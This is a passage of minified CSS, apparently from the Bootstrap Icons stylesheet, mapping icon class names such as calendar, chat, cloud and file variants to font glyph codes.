x-arrow-in-down-left::before{content:"\f1ba"}.bi-box-arrow-in-down-right::before{content:"\f1bb"}.bi-box-arrow-in-down::before{content:"\f1bc"}.bi-box-arrow-in-left::before{content:"\f1bd"}.bi-box-arrow-in-right::before{content:"\f1be"}.bi-box-arrow-in-up-left::before{content:"\f1bf"}.bi-box-arrow-in-up-right::before{content:"\f1c0"}.bi-box-arrow-in-up::before{content:"\f1c1"}.bi-box-arrow-left::before{content:"\f1c2"}.bi-box-arrow-right::before{content:"\f1c3"}.bi-box-arrow-up-left::before{content:"\f1c4"}.bi-box-arrow-up-right::before{content:"\f1c5"}.bi-box-arrow-up::before{content:"\f1c6"}.bi-box-seam::before{content:"\f1c7"}.bi-box::before{content:"\f1c8"}.bi-braces::before{content:"\f1c9"}.bi-bricks::before{content:"\f1ca"}.bi-briefcase-fill::before{content:"\f1cb"}.bi-briefcase::before{content:"\f1cc"}.bi-brightness-alt-high-fill::before{content:"\f1cd"}.bi-brightness-alt-high::before{content:"\f1ce"}.bi-brightness-alt-low-fill::before{content:"\f1cf"}.bi-brightness-alt-low::before{content:"\f1d0"}.bi-brightness-high-fill::before{content:"\f1d1"}.bi-brightness-high::before{content:"\f1d2"}.bi-brightness-low-fill::before{content:"\f1d3"}.bi-brightness-low::before{content:"\f1d4"}.bi-broadcast-pin::before{content:"\f1d5"}.bi-broadcast::before{content:"\f1d6"}.bi-brush-fill::before{content:"\f1d7"}.bi-brush::before{content:"\f1d8"}.bi-bucket-fill::before{content:"\f1d9"}.bi-bucket::before{content:"\f1da"}.bi-bug-fill::before{content:"\f1db"}.bi-bug::before{content:"\f1dc"}.bi-building::before{content:"\f1dd"}.bi-bullseye::before{content:"\f1de"}.bi-calculator-fill::before{content:"\f1df"}.bi-calculator::before{content:"\f1e0"}.bi-calendar-check-fill::before{content:"\f1e1"}.bi-calendar-check::before{content:"\f1e2"}.bi-calendar-date-fill::before{content:"\f1e3"}.bi-calendar-date::before{content:"\f1e4"}.bi-calendar-day-fill::before{content:"\f1e5"}.bi-calendar-day::before{content:"\f1e6"}.bi-calendar-event-fill::before{content:"\f1e7"}.bi-calendar-event::before{content:"\f1e8"}.bi-calendar-fill::before{content:"\f1e9"}.bi-calendar-minus-fill::before{content:"\f1ea"}.bi-calendar-minus::before{content:"\f1eb"}.bi-calendar-month-fill::before{content:"\f1ec"}.bi-calendar-month::before{content:"\f1ed"}.bi-calendar-plus-fill::before{content:"\f1ee"}.bi-calendar-plus::before{content:"\f1ef"}.bi-calendar-range-fill::before{content:"\f1f0"}.bi-calendar-range::before{content:"\f1f1"}.bi-calendar-week-fill::before{content:"\f1f2"}.bi-calendar-week::before{content:"\f1f3"}.bi-calendar-x-fill::before{content:"\f1f4"}.bi-calendar-x::before{content:"\f1f5"}.bi-calendar::before{content:"\f1f6"}.bi-calendar2-check-fill::before{content:"\f1f7"}.bi-calendar2-check::before{content:"\f1f8"}.bi-calendar2-date-fill::before{content:"\f1f9"}.bi-calendar2-date::before{content:"\f1fa"}.bi-calendar2-day-fill::before{content:"\f1fb"}.bi-calendar2-day::before{content:"\f1fc"}.bi-calendar2-event-fill::before{content:"\f1fd"}.bi-calendar2-event::before{content:"\f1fe"}.bi-calendar2-fill::before{content:"\f1ff"}.bi-calendar2-minus-fill::before{content:"\f200"}.bi-calendar2-minus::before{content:"\f201"}.bi-calendar2-month-fill::before{content:"\f202"}.bi-calendar2-month::before{content:"\f203"}.bi-calendar2-plus-fill::before{content:"\f204"}.bi-calendar2-plus::before{content:"\f205"}.bi-calendar2-range-fill::before{content:"\f206"}.bi-calendar2-range::before{content:"\f207"}.bi-calendar2-week-fill::before{content:"\f208"}.bi-calendar2-week::before{content:"\f209"}.bi-calendar2-x-fill::before{content:"\f20a"}.bi-calendar2-x::before{content:"\f20b"}.bi-calendar2::before{content:"\f20c"}.bi-calendar3-event-fill::before{content:"\f20d"}.bi-calendar3-event::before{content:"\f20e"}.bi-calendar3-fill::before{content:"\f20f"}.bi-calendar3-range-fill::before{content:"\f210"}.bi-calendar3-range::before{content:"\f211"}.bi-calendar3-week-fill::before{content:"\f212"}.bi-calendar3-week::before{content:"\f213"}.bi-calendar3::before{content:"\f214"}.bi-calendar4-event::before{content:"\f215"}.bi-calendar4-range::before{content:"\f216"}.bi-calendar4-week::before{content:"\f217"}.bi-calendar4::before{content:"\f218"}.bi-camera-fill::before{content:"\f219"}.bi-camera-reels-fill::before{content:"\f21a"}.bi-camera-reels::before{content:"\f21b"}.bi-camera-video-fill::before{content:"\f21c"}.bi-camera-video-off-fill::before{content:"\f21d"}.bi-camera-video-off::before{content:"\f21e"}.bi-camera-video::before{content:"\f21f"}.bi-camera::before{content:"\f220"}.bi-camera2::before{content:"\f221"}.bi-capslock-fill::before{content:"\f222"}.bi-capslock::before{content:"\f223"}.bi-card-checklist::before{content:"\f224"}.bi-card-heading::before{content:"\f225"}.bi-card-image::before{content:"\f226"}.bi-card-list::before{content:"\f227"}.bi-card-text::before{content:"\f228"}.bi-caret-down-fill::before{content:"\f229"}.bi-caret-down-square-fill::before{content:"\f22a"}.bi-caret-down-square::before{content:"\f22b"}.bi-caret-down::before{content:"\f22c"}.bi-caret-left-fill::before{content:"\f22d"}.bi-caret-left-square-fill::before{content:"\f22e"}.bi-caret-left-square::before{content:"\f22f"}.bi-caret-left::before{content:"\f230"}.bi-caret-right-fill::before{content:"\f231"}.bi-caret-right-square-fill::before{content:"\f232"}.bi-caret-right-square::before{content:"\f233"}.bi-caret-right::before{content:"\f234"}.bi-caret-up-fill::before{content:"\f235"}.bi-caret-up-square-fill::before{content:"\f236"}.bi-caret-up-square::before{content:"\f237"}.bi-caret-up::before{content:"\f238"}.bi-cart-check-fill::before{content:"\f239"}.bi-cart-check::before{content:"\f23a"}.bi-cart-dash-fill::before{content:"\f23b"}.bi-cart-dash::before{content:"\f23c"}.bi-cart-fill::before{content:"\f23d"}.bi-cart-plus-fill::before{content:"\f23e"}.bi-cart-plus::before{content:"\f23f"}.bi-cart-x-fill::before{content:"\f240"}.bi-cart-x::before{content:"\f241"}.bi-cart::before{content:"\f242"}.bi-cart2::before{content:"\f243"}.bi-cart3::before{content:"\f244"}.bi-cart4::before{content:"\f245"}.bi-cash-stack::before{content:"\f246"}.bi-cash::before{content:"\f247"}.bi-cast::before{content:"\f248"}.bi-chat-dots-fill::before{content:"\f249"}.bi-chat-dots::before{content:"\f24a"}.bi-chat-fill::before{content:"\f24b"}.bi-chat-left-dots-fill::before{content:"\f24c"}.bi-chat-left-dots::before{content:"\f24d"}.bi-chat-left-fill::before{content:"\f24e"}.bi-chat-left-quote-fill::before{content:"\f24f"}.bi-chat-left-quote::before{content:"\f250"}.bi-chat-left-text-fill::before{content:"\f251"}.bi-chat-left-text::before{content:"\f252"}.bi-chat-left::before{content:"\f253"}.bi-chat-quote-fill::before{content:"\f254"}.bi-chat-quote::before{content:"\f255"}.bi-chat-right-dots-fill::before{content:"\f256"}.bi-chat-right-dots::before{content:"\f257"}.bi-chat-right-fill::before{content:"\f258"}.bi-chat-right-quote-fill::before{content:"\f259"}.bi-chat-right-quote::before{content:"\f25a"}.bi-chat-right-text-fill::before{content:"\f25b"}.bi-chat-right-text::before{content:"\f25c"}.bi-chat-right::before{content:"\f25d"}.bi-chat-square-dots-fill::before{content:"\f25e"}.bi-chat-square-dots::before{content:"\f25f"}.bi-chat-square-fill::before{content:"\f260"}.bi-chat-square-quote-fill::before{content:"\f261"}.bi-chat-square-quote::before{content:"\f262"}.bi-chat-square-text-fill::before{content:"\f263"}.bi-chat-square-text::before{content:"\f264"}.bi-chat-square::before{content:"\f265"}.bi-chat-text-fill::before{content:"\f266"}.bi-chat-text::before{content:"\f267"}.bi-chat::before{content:"\f268"}.bi-check-all::before{content:"\f269"}.bi-check-circle-fill::before{content:"\f26a"}.bi-check-circle::before{content:"\f26b"}.bi-check-square-fill::before{content:"\f26c"}.bi-check-square::before{content:"\f26d"}.bi-check::before{content:"\f26e"}.bi-check2-all::before{content:"\f26f"}.bi-check2-circle::before{content:"\f270"}.bi-check2-square::before{content:"\f271"}.bi-check2::before{content:"\f272"}.bi-chevron-bar-contract::before{content:"\f273"}.bi-chevron-bar-down::before{content:"\f274"}.bi-chevron-bar-expand::before{content:"\f275"}.bi-chevron-bar-left::before{content:"\f276"}.bi-chevron-bar-right::before{content:"\f277"}.bi-chevron-bar-up::before{content:"\f278"}.bi-chevron-compact-down::before{content:"\f279"}.bi-chevron-compact-left::before{content:"\f27a"}.bi-chevron-compact-right::before{content:"\f27b"}.bi-chevron-compact-up::before{content:"\f27c"}.bi-chevron-contract::before{content:"\f27d"}.bi-chevron-double-down::before{content:"\f27e"}.bi-chevron-double-left::before{content:"\f27f"}.bi-chevron-double-right::before{content:"\f280"}.bi-chevron-double-up::before{content:"\f281"}.bi-chevron-down::before{content:"\f282"}.bi-chevron-expand::before{content:"\f283"}.bi-chevron-left::before{content:"\f284"}.bi-chevron-right::before{content:"\f285"}.bi-chevron-up::before{content:"\f286"}.bi-circle-fill::before{content:"\f287"}.bi-circle-half::before{content:"\f288"}.bi-circle-square::before{content:"\f289"}.bi-circle::before{content:"\f28a"}.bi-clipboard-check::before{content:"\f28b"}.bi-clipboard-data::before{content:"\f28c"}.bi-clipboard-minus::before{content:"\f28d"}.bi-clipboard-plus::before{content:"\f28e"}.bi-clipboard-x::before{content:"\f28f"}.bi-clipboard::before{content:"\f290"}.bi-clock-fill::before{content:"\f291"}.bi-clock-history::before{content:"\f292"}.bi-clock::before{content:"\f293"}.bi-cloud-arrow-down-fill::before{content:"\f294"}.bi-cloud-arrow-down::before{content:"\f295"}.bi-cloud-arrow-up-fill::before{content:"\f296"}.bi-cloud-arrow-up::before{content:"\f297"}.bi-cloud-check-fill::before{content:"\f298"}.bi-cloud-check::before{content:"\f299"}.bi-cloud-download-fill::before{content:"\f29a"}.bi-cloud-download::before{content:"\f29b"}.bi-cloud-drizzle-fill::before{content:"\f29c"}.bi-cloud-drizzle::before{content:"\f29d"}.bi-cloud-fill::before{content:"\f29e"}.bi-cloud-fog-fill::before{content:"\f29f"}.bi-cloud-fog::before{content:"\f2a0"}.bi-cloud-fog2-fill::before{content:"\f2a1"}.bi-cloud-fog2::before{content:"\f2a2"}.bi-cloud-hail-fill::before{content:"\f2a3"}.bi-cloud-hail::before{content:"\f2a4"}.bi-cloud-haze-fill::before{content:"\f2a6"}.bi-cloud-haze::before{content:"\f2a7"}.bi-cloud-haze2-fill::before{content:"\f2a8"}.bi-cloud-lightning-fill::before{content:"\f2a9"}.bi-cloud-lightning-rain-fill::before{content:"\f2aa"}.bi-cloud-lightning-rain::before{content:"\f2ab"}.bi-cloud-lightning::before{content:"\f2ac"}.bi-cloud-minus-fill::before{content:"\f2ad"}.bi-cloud-minus::before{content:"\f2ae"}.bi-cloud-moon-fill::before{content:"\f2af"}.bi-cloud-moon::before{content:"\f2b0"}.bi-cloud-plus-fill::before{content:"\f2b1"}.bi-cloud-plus::before{content:"\f2b2"}.bi-cloud-rain-fill::before{content:"\f2b3"}.bi-cloud-rain-heavy-fill::before{content:"\f2b4"}.bi-cloud-rain-heavy::before{content:"\f2b5"}.bi-cloud-rain::before{content:"\f2b6"}.bi-cloud-slash-fill::before{content:"\f2b7"}.bi-cloud-slash::before{content:"\f2b8"}.bi-cloud-sleet-fill::before{content:"\f2b9"}.bi-cloud-sleet::before{content:"\f2ba"}.bi-cloud-snow-fill::before{content:"\f2bb"}.bi-cloud-snow::before{content:"\f2bc"}.bi-cloud-sun-fill::before{content:"\f2bd"}.bi-cloud-sun::before{content:"\f2be"}.bi-cloud-upload-fill::before{content:"\f2bf"}.bi-cloud-upload::before{content:"\f2c0"}.bi-cloud::before{content:"\f2c1"}.bi-clouds-fill::before{content:"\f2c2"}.bi-clouds::before{content:"\f2c3"}.bi-cloudy-fill::before{content:"\f2c4"}.bi-cloudy::before{content:"\f2c5"}.bi-code-slash::before{content:"\f2c6"}.bi-code-square::before{content:"\f2c7"}.bi-code::before{content:"\f2c8"}.bi-collection-fill::before{content:"\f2c9"}.bi-collection-play-fill::before{content:"\f2ca"}.bi-collection-play::before{content:"\f2cb"}.bi-collection::before{content:"\f2cc"}.bi-columns-gap::before{content:"\f2cd"}.bi-columns::before{content:"\f2ce"}.bi-command::before{content:"\f2cf"}.bi-compass-fill::before{content:"\f2d0"}.bi-compass::before{content:"\f2d1"}.bi-cone-striped::before{content:"\f2d2"}.bi-cone::before{content:"\f2d3"}.bi-controller::before{content:"\f2d4"}.bi-cpu-fill::before{content:"\f2d5"}.bi-cpu::before{content:"\f2d6"}.bi-credit-card-2-back-fill::before{content:"\f2d7"}.bi-credit-card-2-back::before{content:"\f2d8"}.bi-credit-card-2-front-fill::before{content:"\f2d9"}.bi-credit-card-2-front::before{content:"\f2da"}.bi-credit-card-fill::before{content:"\f2db"}.bi-credit-card::before{content:"\f2dc"}.bi-crop::before{content:"\f2dd"}.bi-cup-fill::before{content:"\f2de"}.bi-cup-straw::before{content:"\f2df"}.bi-cup::before{content:"\f2e0"}.bi-cursor-fill::before{content:"\f2e1"}.bi-cursor-text::before{content:"\f2e2"}.bi-cursor::before{content:"\f2e3"}.bi-dash-circle-dotted::before{content:"\f2e4"}.bi-dash-circle-fill::before{content:"\f2e5"}.bi-dash-circle::before{content:"\f2e6"}.bi-dash-square-dotted::before{content:"\f2e7"}.bi-dash-square-fill::before{content:"\f2e8"}.bi-dash-square::before{content:"\f2e9"}.bi-dash::before{content:"\f2ea"}.bi-diagram-2-fill::before{content:"\f2eb"}.bi-diagram-2::before{content:"\f2ec"}.bi-diagram-3-fill::before{content:"\f2ed"}.bi-diagram-3::before{content:"\f2ee"}.bi-diamond-fill::before{content:"\f2ef"}.bi-diamond-half::before{content:"\f2f0"}.bi-diamond::before{content:"\f2f1"}.bi-dice-1-fill::before{content:"\f2f2"}.bi-dice-1::before{content:"\f2f3"}.bi-dice-2-fill::before{content:"\f2f4"}.bi-dice-2::before{content:"\f2f5"}.bi-dice-3-fill::before{content:"\f2f6"}.bi-dice-3::before{content:"\f2f7"}.bi-dice-4-fill::before{content:"\f2f8"}.bi-dice-4::before{content:"\f2f9"}.bi-dice-5-fill::before{content:"\f2fa"}.bi-dice-5::before{content:"\f2fb"}.bi-dice-6-fill::before{content:"\f2fc"}.bi-dice-6::before{content:"\f2fd"}.bi-disc-fill::before{content:"\f2fe"}.bi-disc::before{content:"\f2ff"}.bi-discord::before{content:"\f300"}.bi-display-fill::before{content:"\f301"}.bi-display::before{content:"\f302"}.bi-distribute-horizontal::before{content:"\f303"}.bi-distribute-vertical::before{content:"\f304"}.bi-door-closed-fill::before{content:"\f305"}.bi-door-closed::before{content:"\f306"}.bi-door-open-fill::before{content:"\f307"}.bi-door-open::before{content:"\f308"}.bi-dot::before{content:"\f309"}.bi-download::before{content:"\f30a"}.bi-droplet-fill::before{content:"\f30b"}.bi-droplet-half::before{content:"\f30c"}.bi-droplet::before{content:"\f30d"}.bi-earbuds::before{content:"\f30e"}.bi-easel-fill::before{content:"\f30f"}.bi-easel::before{content:"\f310"}.bi-egg-fill::before{content:"\f311"}.bi-egg-fried::before{content:"\f312"}.bi-egg::before{content:"\f313"}.bi-eject-fill::before{content:"\f314"}.bi-eject::before{content:"\f315"}.bi-emoji-angry-fill::before{content:"\f316"}.bi-emoji-angry::before{content:"\f317"}.bi-emoji-dizzy-fill::before{content:"\f318"}.bi-emoji-dizzy::before{content:"\f319"}.bi-emoji-expressionless-fill::before{content:"\f31a"}.bi-emoji-expressionless::before{content:"\f31b"}.bi-emoji-frown-fill::before{content:"\f31c"}.bi-emoji-frown::before{content:"\f31d"}.bi-emoji-heart-eyes-fill::before{content:"\f31e"}.bi-emoji-heart-eyes::before{content:"\f31f"}.bi-emoji-laughing-fill::before{content:"\f320"}.bi-emoji-laughing::before{content:"\f321"}.bi-emoji-neutral-fill::before{content:"\f322"}.bi-emoji-neutral::before{content:"\f323"}.bi-emoji-smile-fill::before{content:"\f324"}.bi-emoji-smile-upside-down-fill::before{content:"\f325"}.bi-emoji-smile-upside-down::before{content:"\f326"}.bi-emoji-smile::before{content:"\f327"}.bi-emoji-sunglasses-fill::before{content:"\f328"}.bi-emoji-sunglasses::before{content:"\f329"}.bi-emoji-wink-fill::before{content:"\f32a"}.bi-emoji-wink::before{content:"\f32b"}.bi-envelope-fill::before{content:"\f32c"}.bi-envelope-open-fill::before{content:"\f32d"}.bi-envelope-open::before{content:"\f32e"}.bi-envelope::before{content:"\f32f"}.bi-eraser-fill::before{content:"\f330"}.bi-eraser::before{content:"\f331"}.bi-exclamation-circle-fill::before{content:"\f332"}.bi-exclamation-circle::before{content:"\f333"}.bi-exclamation-diamond-fill::before{content:"\f334"}.bi-exclamation-diamond::before{content:"\f335"}.bi-exclamation-octagon-fill::before{content:"\f336"}.bi-exclamation-octagon::before{content:"\f337"}.bi-exclamation-square-fill::before{content:"\f338"}.bi-exclamation-square::before{content:"\f339"}.bi-exclamation-triangle-fill::before{content:"\f33a"}.bi-exclamation-triangle::before{content:"\f33b"}.bi-exclamation::before{content:"\f33c"}.bi-exclude::before{content:"\f33d"}.bi-eye-fill::before{content:"\f33e"}.bi-eye-slash-fill::before{content:"\f33f"}.bi-eye-slash::before{content:"\f340"}.bi-eye::before{content:"\f341"}.bi-eyedropper::before{content:"\f342"}.bi-eyeglasses::before{content:"\f343"}.bi-facebook::before{content:"\f344"}.bi-file-arrow-down-fill::before{content:"\f345"}.bi-file-arrow-down::before{content:"\f346"}.bi-file-arrow-up-fill::before{content:"\f347"}.bi-file-arrow-up::before{content:"\f348"}.bi-file-bar-graph-fill::before{content:"\f349"}.bi-file-bar-graph::before{content:"\f34a"}.bi-file-binary-fill::before{content:"\f34b"}.bi-file-binary::before{content:"\f34c"}.bi-file-break-fill::before{content:"\f34d"}.bi-file-break::before{content:"\f34e"}.bi-file-check-fill::before{content:"\f34f"}.bi-file-check::before{content:"\f350"}.bi-file-code-fill::before{content:"\f351"}.bi-file-code::before{content:"\f352"}.bi-file-diff-fill::before{content:"\f353"}.bi-file-diff::before{content:"\f354"}.bi-file-earmark-arrow-down-fill::before{content:"\f355"}.bi-file-earmark-arrow-down::before{content:"\f356"}.bi-file-earmark-arrow-up-fill::before{content:"\f357"}.bi-file-earmark-arrow-up::before{content:"\f358"}.bi-file-earmark-bar-graph-fill::before{content:"\f359"}.bi-file-earmark-bar-graph::before{content:"\f35a"}.bi-file-earmark-binary-fill::before{content:"\f35b"}.bi-file-earmark-binary::before{content:"\f35c"}.bi-file-earmark-break-fill::before{content:"\f35d"}.bi-file-earmark-break::before{content:"\f35e"}.bi-file-earmark-check-fill::before{content:"\f35f"}.bi-file-earmark-check::before{content:"\f360"}.bi-file-earmark-code-fill::before{content:"\f361"}.bi-file-earmark-code::before{content:"\f362"}.bi-file-earmark-diff-fill::before{content:"\f363"}.bi-file-earmark-diff::before{content:"\f364"}.bi-file-earmark-easel-fill::before{content:"\f365"}.bi-file-earmark-easel::before{content:"\f366"}.bi-file-earmark-excel-fill::before{content:"\f367"}.bi-file-earmark-excel::before{content:"\f368"}.bi-file-earmark-fill::before{content:"\f369"}.bi-file-earmark-font-fill::before{content:"\f36a"}.bi-file-earmark-font::before{content:"\f36b"}.bi-file-earmark-image-fill::before{content:"\f36c"}.bi-file-earmark-image::before{content:"\f36d"}.bi-file-earmark-lock-fill::before{content:"\f36e"}.bi-file-earmark-lock::before{content:"\f36f"}.bi-file-earmark-lock2-fill::before{content:"\f370"}.bi-file-earmark-lock2::before{content:"\f371"}.bi-file-earmark-medical-fill::before{content:"\f372"}.bi-file-earmark-medical::before{content:"\f373"}.bi-file-earmark-minus-fill::before{content:"\f374"}.bi-file-earmark-minus::before{content:"\f375"}.bi-file-earmark-music-fill::before{content:"\f376"}.bi-file-earmark-music::before{content:"\f377"}.bi-file-earmark-person-fill::before{content:"\f378"}.bi-file-earmark-person::before{content:"\f379"}.bi-file-earmark-play-fill::before{content:"\f37a"}.bi-file-earmark-play::before{content:"\f37b"}.bi-file-earmark-plus-fill::before{content:"\f37c"}.bi-file-earmark-plus::before{content:"\f37d"}.bi-file-earmark-post-fill::before{content:"\f37e"}.bi-file-earmark-post::before{content:"\f37f"}.bi-file-earmark-ppt-fill::before{content:"\f380"}.bi-file-earmark-ppt::before{content:"\f381"}.bi-file-earmark-richtext-fill::before{content:"\f382"}.bi-file-earmark-richtext::before{content:"\f383"}.bi-file-earmark-ruled-fill::before{content:"\f384"}.bi-file-earmark-ruled::before{content:"\f385"}.bi-file-earmark-slides-fill::before{content:"\f386"}.bi-file-earmark-slides::before{content:"\f387"}.bi-file-earmark-spreadsheet-fill::before{content:"\f388"}.bi-file-earmark-spreadsheet::before{content:"\f389"}.bi-file-earmark-text-fill::before{content:"\f38a"}.bi-file-earmark-text::before{content:"\f38b"}.bi-file-earmark-word-fill::before{content:"\f38c"}.bi-file-earmark-word::before{content:"\f38d"}.bi-file-earmark-x-fill::before{content:"\f38e"}.bi-file-earmark-x::before{content:"\f38f"}.bi-file-earmark-zip-fill::before{content:"\f390"}.bi-file-earmark-zip::before{content:"\f391"}.bi-file-earmark::before{content:"\f392"}.bi-file-easel-fill::before{content:"\f393"}.bi-file-easel::before{content:"\f394"}.bi-file-excel-fill::before{content:"\f395"}.bi-file-excel::before{content:"\f396"}.bi-file-fill::before{content:"\f397"}.bi-file-font-fill::before{content:"\f398"}.bi-file-font::before{content:"\f399"}.bi-file-image-fill::before{content:"\f39a"}.bi-file-image::before{content:"\f39b"}.bi-file-lock-fill::before{content:"\f39c"}.bi-file-lock::before{content:"\f39d"}.bi-file-lock2-fill::before{content:"\f39e"}.bi-file-lock2::before{content:"\f39f"}.bi-file-medical-fill::before{content:"\f3a0"}.bi-file-medical::before{content:"\f3a1"}.bi-file-minus-fill::before{content:"\f3a2"}.bi-file-minus::before{content:"\f3a3"}.bi-file-music-fill::before{content:"\f3a4"}.bi-file-music::before{content:"\f3a5"}.bi-file-person-fill::before{content:"\f3a6"}.bi-file-person::before{content:"\f3a7"}.bi-file-play-fill::before{content:"\f3a8"}.bi-file-play::before{content:"\f3a9"}.bi-file-plus-fill::before{content:"\f3aa"}.bi-file-plus::before{content:"\f3ab"}.bi-file-post-fill::before{content:"\f3ac"}.bi-file-post::before{content:"\f3ad"}.bi-file-ppt-fill::before{content:"\f3ae"}.bi-file-ppt::before{content:"\f3af"}.bi-file-richtext-fill::before{content:"\f3b0"}.bi-file-richtext::before{content:"\f3b1"}.bi-file-ruled-fill::before{content:"\f3b2"}.bi-file-ruled::before{content:"\f3b3"}.bi-file-slides-fill::before{content:"\f3b4"}.bi-file-slides::before{content:"\f3b5"}.bi-file-spreadsheet-fill::before{content:"\f3b6"}.bi-file-spreadsheet::before{content:"\f3b7"}.bi-file-text-fill::before{content:"\f3b8"}.bi-file-text::before{content:"\f3b9"}.bi-file-word-fill::before{content:"\f3ba"}.bi-file-word::before{content:"\f3bb"}.bi-file-x-fill::before{content:"\f3bc"}.bi-file-x::before{content:"\f3bd"}.bi-file-zip-fill::before{content:"\f3be"}.bi-file-zip::before{content:"\f3bf"}.bi-file::before{content:"\f3c0"}.bi-files-alt::before{content:"\f3c1"}.bi-files::before{content:"\f3c2"}.bi-film::before{content:"\f3c3"}.bi-filter-circle-fill::before{content:"\f3c4"}.bi-filter-circle::before{content:"\f3c5"}.bi-filter-left::before{content:"\f3c6"}.bi-filter-right::before{content:"\f3c7"}.bi-filter-square-fill::before{content:"\f3c8"}.bi-filter-square::before{content:"\f3c9"}.bi-filter::before{content:"\f3ca"}.bi-flag-fill::before{content:"\f3cb"}.bi-flag::before{content:"\f3cc"}.bi-flower1::before{content:"\f3cd"}.bi-flower2::before{content:"\f3ce"}.bi-flower3::before{content:"\f3cf"}.bi-folder-check::before{content:"\f3d0"}.bi-folder-fill::before{content:"\f3d1"}.bi-folder-minus::before{content:"\f3d2"}.bi-folder-plus::before{content:"\f3d3"}.bi-folder-symlink-fill::before{content:"\f3d4"}.bi-folder-symlink::before{content:"\f3d5"}.bi-folder-x::before{content:"\f3d6"}.bi-folder::before{content:"\f3d7"}.bi-folder2-open::before{content:"\f3d8"}.bi-folder2::before{content:"\f3d9"}.bi-fonts::before{content:"\f3da"}.bi-forward-fill::before{content:"\f3db"}.bi-forward::before{content:"\f3dc"}.bi-front::before{content:"\f3dd"}.bi-fullscreen-exit::before{content:"\f3de"}.bi-fullscreen::before{content:"\f3df"}.bi-funnel-fill::before{content:"\f3e0"}.bi-funnel::before{content:"\f3e1"}.bi-gear-fill::before{content:"\f3e2"}.bi-gear-wide-connected::before{content:"\f3e3"}.bi-gear-wide::before{content:"\f3e4"}.bi-gear::before{content:"\f3e5"}.bi-gem::before{content:"\f3e6"}.bi-geo-alt-fill::before{content:"\f3e7"}.bi-geo-alt::before{content:"\f3e8"}.bi-geo-fill::before{content:"\f3e9"}.bi-geo::before{content:"\f3ea"}.bi-gift-fill::before{content:"\f3eb"}.bi-gift::before{content:"\f3ec"}.bi-github::before{content:"\f3ed"}.bi-globe::before{content:"\f3ee"}.bi-globe2::before{content:"\f3ef"}.bi-google::before{content:"\f3f0"}.bi-graph-down::before{content:"\f3f1"}.bi-graph-up::before{content:"\f3f2"}.bi-grid-1x2-fill::before{content:"\f3f3"}.bi-grid-1x2::before{content:"\f3f4"}.bi-grid-3x2-gap-fill::before{content:"\f3f5"}.bi-grid-3x2-gap::before{content:"\f3f6"}.bi-grid-3x2::before{content:"\f3f7"}.bi-grid-3x3-gap-fill::before{content:"\f3f8"}.bi-grid-3x3-gap::before{content:"\f3f9"}.bi-grid-3x3::before{content:"\f3fa"}.bi-grid-fill::before{content:"\f3fb"}.bi-grid::before{content:"\f3fc"}.bi-grip-horizontal::before{content:"\f3fd"}.bi-grip-vertical::before{content:"\f3fe"}.bi-hammer::before{content:"\f3ff"}.bi-hand-index-fill::before{content:"\f400"}.bi-hand-index-thumb-fill::before{content:"\f401"}.bi-hand-index-thumb::before{content:"\f402"}.bi-hand-index::before{content:"\f403"}.bi-hand-thumbs-down-fill::before{content:"\f404"}.bi-hand-thumbs-down::before{content:"\f405"}.bi-hand-thumbs-up-fill::before{content:"\f406"}.bi-hand-thumbs-up::before{content:"\f407"}.bi-handbag-fill::before{content:"\f408"}.bi-handbag::before{content:"\f409"}.bi-hash::before{content:"\f40a"}.bi-hdd-fill::before{content:"\f40b"}.bi-hdd-network-fill::before{content:"\f40c"}.bi-hdd-network::before{content:"\f40d"}.bi-hdd-rack-fill::before{content:"\f40e"}.bi-hdd-rack::before{content:"\f40f"}.bi-hdd-stack-fill::before{content:"\f410"}.bi-hdd-stack::before{content:"\f411"}.bi-hdd::before{content:"\f412"}.bi-headphones::before{content:"\f413"}.bi-headset::before{content:"\f414"}.bi-heart-fill::before{content:"\f415"}.bi-heart-half::before{content:"\f416"}.bi-heart::before{content:"\f417"}.bi-heptagon-fill::before{content:"\f418"}.bi-heptagon-half::before{content:"\f419"}.bi-heptagon::before{content:"\f41a"}.bi-hexagon-fill::before{content:"\f41b"}.bi-hexagon-half::before{content:"\f41c"}.bi-hexagon::before{content:"\f41d"}.bi-hourglass-bottom::before{content:"\f41e"}.bi-hourglass-split::before{content:"\f41f"}.bi-hourglass-top::before{content:"\f420"}.bi-hourglass::before{content:"\f421"}.bi-house-door-fill::before{content:"\f422"}.bi-house-door::before{content:"\f423"}.bi-house-fill::before{content:"\f424"}.bi-house::before{content:"\f425"}.bi-hr::before{content:"\f426"}.bi-hurricane::before{content:"\f427"}.bi-image-alt::before{content:"\f428"}.bi-image-fill::before{content:"\f429"}.bi-image::before{content:"\f42a"}.bi-images::before{content:"\f42b"}.bi-inbox-fill::before{content:"\f42c"}.bi-inbox::before{content:"\f42d"}.bi-inboxes-fill::before{content:"\f42e"}.bi-inboxes::before{content:"\f42f"}.bi-info-circle-fill::before{content:"\f430"}.bi-info-circle::before{content:"\f431"}.bi-info-square-fill::before{content:"\f432"}.bi-info-square::before{content:"\f433"}.bi-info::before{content:"\f434"}.bi-input-cursor-text::before{content:"\f435"}.bi-input-cursor::before{content:"\f436"}.bi-instagram::before{content:"\f437"}.bi-intersect::before{content:"\f438"}.bi-journal-album::before{content:"\f439"}.bi-journal-arrow-down::before{content:"\f43a"}.bi-journal-arrow-up::before{content:"\f43b"}.bi-journal-bookmark-fill::before{content:"\f43c"}.bi-journal-bookmark::before{content:"\f43d"}.bi-journal-check::before{content:"\f43e"}.bi-journal-code::before{content:"\f43f"}.bi-journal-medical::before{content:"\f440"}.bi-journal-minus::before{content:"\f441"}.bi-journal-plus::before{content:"\f442"}.bi-journal-richtext::before{content:"\f443"}.bi-journal-text::before{content:"\f444"}.bi-journal-x::before{content:"\f445"}.bi-journal::before{content:"\f446"}.bi-journals::before{content:"\f447"}.bi-joystick::before{content:"\f448"}.bi-justify-left::before{content:"\f449"}.bi-justify-right::before{content:"\f44a"}.bi-justify::before{content:"\f44b"}.bi-kanban-fill::before{content:"\f44c"}.bi-kanban::before{content:"\f44d"}.bi-key-fill::before{content:"\f44e"}.bi-key::before{content:"\f44f"}.bi-keyboard-fill::before{content:"\f450"}.bi-keyboard::before{content:"\f451"}.bi-ladder::before{content:"\f452"}.bi-lamp-fill::before{content:"\f453"}.bi-lamp::before{content:"\f454"}.bi-laptop-fill::before{content:"\f455"}.bi-laptop::before{content:"\f456"}.bi-layer-backward::before{content:"\f457"}.bi-layer-forward::before{content:"\f458"}.bi-layers-fill::before{content:"\f459"}.bi-layers-half::before{content:"\f45a"}.bi-layers::before{content:"\f45b"}.bi-layout-sidebar-inset-reverse::before{content:"\f45c"}.bi-layout-sidebar-inset::before{content:"\f45d"}.bi-layout-sidebar-reverse::before{content: